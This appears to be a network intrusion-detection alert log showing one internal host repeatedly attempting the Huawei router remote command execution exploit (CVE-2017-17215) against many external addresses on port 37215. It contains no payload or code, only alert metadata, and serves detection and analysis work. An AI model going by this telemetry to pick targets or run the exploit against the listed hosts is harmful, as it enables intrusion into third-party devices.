ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.84.24.181

Timestamp:	2024-08-01T15:36:52.656064+0200
SID:	2835222
Source Port:	36574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 138.214.102.216

Timestamp:	2024-08-01T15:35:21.906272+0200
SID:	2835222
Source Port:	60958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.43.219.160

Timestamp:	2024-08-01T15:36:55.996887+0200
SID:	2835222
Source Port:	53194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 145.238.112.174

Timestamp:	2024-08-01T15:36:44.333246+0200
SID:	2835222
Source Port:	42208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 27.13.167.201

Timestamp:	2024-08-01T15:35:21.862583+0200
SID:	2835222
Source Port:	48662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 144.56.162.15

Timestamp:	2024-08-01T15:36:14.808545+0200
SID:	2835222
Source Port:	43726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 37.65.110.217

Timestamp:	2024-08-01T15:35:25.947623+0200
SID:	2835222
Source Port:	60072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.239.77.83

Timestamp:	2024-08-01T15:36:32.778070+0200
SID:	2835222
Source Port:	38452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.131.210.195

Timestamp:	2024-08-01T15:35:21.920530+0200
SID:	2835222
Source Port:	58630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.49.20.76

Timestamp:	2024-08-01T15:35:20.545490+0200
SID:	2835222
Source Port:	36940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.246.8.72

Timestamp:	2024-08-01T15:35:17.273351+0200
SID:	2835222
Source Port:	53580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.213.87.241

Timestamp:	2024-08-01T15:36:24.456108+0200
SID:	2835222
Source Port:	42800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.134.38.98

Timestamp:	2024-08-01T15:36:57.561615+0200
SID:	2835222
Source Port:	50040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.114.57.144

Timestamp:	2024-08-01T15:35:20.209191+0200
SID:	2835222
Source Port:	53618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.58.118.192

Timestamp:	2024-08-01T15:35:54.576843+0200
SID:	2835222
Source Port:	34050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.214.117.236

Timestamp:	2024-08-01T15:36:24.579919+0200
SID:	2835222
Source Port:	59290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.70.103.61

Timestamp:	2024-08-01T15:35:28.717127+0200
SID:	2835222
Source Port:	37406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.182.228.215

Timestamp:	2024-08-01T15:35:20.205808+0200
SID:	2835222
Source Port:	43212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.122.81.39

Timestamp:	2024-08-01T15:35:48.348297+0200
SID:	2835222
Source Port:	52436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.126.152.249

Timestamp:	2024-08-01T15:35:56.488844+0200
SID:	2835222
Source Port:	51244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.106.212.27

Timestamp:	2024-08-01T15:36:51.620215+0200
SID:	2835222
Source Port:	50320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.126.141.149

Timestamp:	2024-08-01T15:35:50.278988+0200
SID:	2835222
Source Port:	39596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.213.213.63

Timestamp:	2024-08-01T15:36:51.649633+0200
SID:	2835222
Source Port:	60362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.59.158.237

Timestamp:	2024-08-01T15:36:09.868751+0200
SID:	2835222
Source Port:	49622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.234.224

Timestamp:	2024-08-01T15:35:20.205980+0200
SID:	2835222
Source Port:	33870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.96.145.99

Timestamp:	2024-08-01T15:35:20.575068+0200
SID:	2835222
Source Port:	60292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.167.1.18

Timestamp:	2024-08-01T15:35:17.249012+0200
SID:	2835222
Source Port:	56414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.172.181.125

Timestamp:	2024-08-01T15:35:21.928341+0200
SID:	2835222
Source Port:	54940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 39.24.144.194

Timestamp:	2024-08-01T15:36:39.033441+0200
SID:	2835222
Source Port:	38336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 58.156.129.188

Timestamp:	2024-08-01T15:35:21.920526+0200
SID:	2835222
Source Port:	43362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.5.109.189

Timestamp:	2024-08-01T15:35:21.866171+0200
SID:	2835222
Source Port:	38604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.30.93.7

Timestamp:	2024-08-01T15:35:21.931794+0200
SID:	2835222
Source Port:	60966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.164.61.242

Timestamp:	2024-08-01T15:36:32.771971+0200
SID:	2835222
Source Port:	57622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 14.100.56.123

Timestamp:	2024-08-01T15:36:01.686391+0200
SID:	2835222
Source Port:	59870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.23.136.70

Timestamp:	2024-08-01T15:35:20.210297+0200
SID:	2835222
Source Port:	58702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 148.60.248.191

Timestamp:	2024-08-01T15:35:56.488938+0200
SID:	2835222
Source Port:	33090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.186.247.92

Timestamp:	2024-08-01T15:36:06.759188+0200
SID:	2835222
Source Port:	55624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.47.51.72

Timestamp:	2024-08-01T15:35:48.347949+0200
SID:	2835222
Source Port:	48356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.75.199.150

Timestamp:	2024-08-01T15:36:20.314259+0200
SID:	2835222
Source Port:	58202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.191.243.77

Timestamp:	2024-08-01T15:36:51.696644+0200
SID:	2835222
Source Port:	49134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 136.114.60.196

Timestamp:	2024-08-01T15:35:17.253190+0200
SID:	2835222
Source Port:	47294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.238.214.184

Timestamp:	2024-08-01T15:35:20.202654+0200
SID:	2835222
Source Port:	36058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.119.64.108

Timestamp:	2024-08-01T15:35:20.207397+0200
SID:	2835222
Source Port:	41010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.183.25.51

Timestamp:	2024-08-01T15:36:14.833138+0200
SID:	2835222
Source Port:	53108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.97.169.114

Timestamp:	2024-08-01T15:35:50.296151+0200
SID:	2835222
Source Port:	40868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.14.237.171

Timestamp:	2024-08-01T15:35:20.203932+0200
SID:	2835222
Source Port:	59660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.230.23

Timestamp:	2024-08-01T15:35:20.205042+0200
SID:	2835222
Source Port:	35174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 58.248.163.171

Timestamp:	2024-08-01T15:35:20.545359+0200
SID:	2835222
Source Port:	43452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.201.68.85

Timestamp:	2024-08-01T15:36:09.902052+0200
SID:	2835222
Source Port:	34058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.164.25.97

Timestamp:	2024-08-01T15:36:01.676188+0200
SID:	2835222
Source Port:	49910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.149.254.57

Timestamp:	2024-08-01T15:36:34.854315+0200
SID:	2835222
Source Port:	56136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.35.85.136

Timestamp:	2024-08-01T15:36:57.565466+0200
SID:	2835222
Source Port:	43690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.75.77.178

Timestamp:	2024-08-01T15:35:16.852857+0200
SID:	2835222
Source Port:	50422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.118.9.35

Timestamp:	2024-08-01T15:35:21.928767+0200
SID:	2835222
Source Port:	33866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.125.38.57

Timestamp:	2024-08-01T15:36:18.275760+0200
SID:	2835222
Source Port:	43394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 18.233.13.67

Timestamp:	2024-08-01T15:35:20.216617+0200
SID:	2835222
Source Port:	56370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.179.175.67

Timestamp:	2024-08-01T15:35:21.833554+0200
SID:	2835222
Source Port:	55048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.59.114.19

Timestamp:	2024-08-01T15:36:26.557158+0200
SID:	2835222
Source Port:	46236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.147.180.179

Timestamp:	2024-08-01T15:35:21.846367+0200
SID:	2835222
Source Port:	36140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.30.104.129

Timestamp:	2024-08-01T15:35:21.934055+0200
SID:	2835222
Source Port:	45872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 46.247.2.34

Timestamp:	2024-08-01T15:35:35.117482+0200
SID:	2835222
Source Port:	55030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.154.221.57

Timestamp:	2024-08-01T15:35:20.209867+0200
SID:	2835222
Source Port:	44190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 96.10.254.117

Timestamp:	2024-08-01T15:36:49.661044+0200
SID:	2835222
Source Port:	34924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.61.41.98

Timestamp:	2024-08-01T15:36:14.828870+0200
SID:	2835222
Source Port:	52824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.253.51.213

Timestamp:	2024-08-01T15:35:16.856527+0200
SID:	2835222
Source Port:	41072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.198.87.40

Timestamp:	2024-08-01T15:35:43.356704+0200
SID:	2835222
Source Port:	47222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.119.116.114

Timestamp:	2024-08-01T15:35:32.992568+0200
SID:	2835222
Source Port:	42726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.123.115.209

Timestamp:	2024-08-01T15:35:50.279033+0200
SID:	2835222
Source Port:	48156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.188.241.76

Timestamp:	2024-08-01T15:36:55.997788+0200
SID:	2835222
Source Port:	40904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.152.210.249

Timestamp:	2024-08-01T15:35:50.279246+0200
SID:	2835222
Source Port:	55164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.237.238.8

Timestamp:	2024-08-01T15:35:20.203637+0200
SID:	2835222
Source Port:	34450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.239.149.213

Timestamp:	2024-08-01T15:35:20.214819+0200
SID:	2835222
Source Port:	39872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.165.252.245

Timestamp:	2024-08-01T15:36:51.576162+0200
SID:	2835222
Source Port:	35304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 76.0.211.89

Timestamp:	2024-08-01T15:36:20.278738+0200
SID:	2835222
Source Port:	45358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.206.27.34

Timestamp:	2024-08-01T15:36:55.978405+0200
SID:	2835222
Source Port:	57644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.228.33.211

Timestamp:	2024-08-01T15:35:20.545867+0200
SID:	2835222
Source Port:	34898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.37.11.189

Timestamp:	2024-08-01T15:35:16.406661+0200
SID:	2835222
Source Port:	59860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.33.40.115

Timestamp:	2024-08-01T15:35:43.356532+0200
SID:	2835222
Source Port:	45234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.229.168.28

Timestamp:	2024-08-01T15:36:01.488252+0200
SID:	2835222
Source Port:	46492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 5.17.32.200

Timestamp:	2024-08-01T15:36:39.033445+0200
SID:	2835222
Source Port:	53256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.135.29.153

Timestamp:	2024-08-01T15:36:57.561578+0200
SID:	2835222
Source Port:	50824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.6.124.255

Timestamp:	2024-08-01T15:35:50.279119+0200
SID:	2835222
Source Port:	58550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.75.118.229

Timestamp:	2024-08-01T15:36:01.672092+0200
SID:	2835222
Source Port:	59822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 177.157.252.236

Timestamp:	2024-08-01T15:36:09.911014+0200
SID:	2835222
Source Port:	45404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 119.28.178.147

Timestamp:	2024-08-01T15:36:15.263880+0200
SID:	2835222
Source Port:	52890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.221.227.83

Timestamp:	2024-08-01T15:35:17.172203+0200
SID:	2835222
Source Port:	36870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.248.126.126

Timestamp:	2024-08-01T15:35:54.407184+0200
SID:	2835222
Source Port:	53628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.90.89.6

Timestamp:	2024-08-01T15:34:59.953236+0200
SID:	2835222
Source Port:	48784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.171.1

Timestamp:	2024-08-01T15:35:54.684267+0200
SID:	2835222
Source Port:	33388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.207.69.51

Timestamp:	2024-08-01T15:36:53.859553+0200
SID:	2835222
Source Port:	60600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.37.117.100

Timestamp:	2024-08-01T15:35:20.205173+0200
SID:	2835222
Source Port:	34126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.32.163.0

Timestamp:	2024-08-01T15:35:54.420931+0200
SID:	2835222
Source Port:	59562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.223.28.182

Timestamp:	2024-08-01T15:36:06.682338+0200
SID:	2835222
Source Port:	47926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.90.191.141

Timestamp:	2024-08-01T15:36:09.883648+0200
SID:	2835222
Source Port:	52232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.249.186.170

Timestamp:	2024-08-01T15:36:26.557801+0200
SID:	2835222
Source Port:	51194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.203.149.34

Timestamp:	2024-08-01T15:35:17.262074+0200
SID:	2835222
Source Port:	34854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.15.213.209

Timestamp:	2024-08-01T15:35:20.202953+0200
SID:	2835222
Source Port:	32926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.108.171.23

Timestamp:	2024-08-01T15:35:21.859249+0200
SID:	2835222
Source Port:	44700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 68.167.131.150

Timestamp:	2024-08-01T15:36:03.557964+0200
SID:	2835222
Source Port:	45986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

